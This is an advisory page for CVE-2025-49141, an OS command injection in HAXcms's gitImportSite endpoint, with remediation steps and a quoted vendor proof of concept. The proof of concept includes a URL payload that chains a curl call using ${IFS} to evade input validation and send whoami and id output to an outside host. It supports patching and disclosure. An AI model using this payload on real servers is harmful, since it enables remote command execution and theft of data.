CVE-2025-49141 at a Glance
Security Impact
CVSS: 8.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2025-49141
To remediate this vulnerability, upgrade all affected @haxtheweb/haxcms nodejs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @haxtheweb/haxcms-nodejs@11.0.3Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @haxtheweb/haxcms-nodejsHow to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-49141, inspect your project dependencies using npm:
npm ls @haxtheweb/haxcms-nodejsAnalyze the terminal output to locate any version of @haxtheweb/haxcms nodejs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 11.0.3), your application is affected.
Note: The npm ls @haxtheweb/haxcms-nodejs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In @haxtheweb/haxcms nodejs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

"details" : "### Summary\nThe 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection.\n\n### Details\nThe vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection.\n\n\n#### Affected Resources\n• Operations.php:2103 gitImportSite()\n• \\<domain\\>/\\<user\\>/system/api/gitImportSite\n\n\n\n### PoC\nTo replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').\n\n1. Start a webserver.\n\n\n2. Initiate a request to the ’archiveSite’ endpoint.\n\n\n3. Capture and modify the request in BurpSuite.\n\n\n\n\n\n\n\n4. Observe command output in the HTTP request from the server.\n\n\n\n#### Command Injection Payload\n```Bash\nhttp://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef\n```\n\n\n### Impact\nAn authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.",
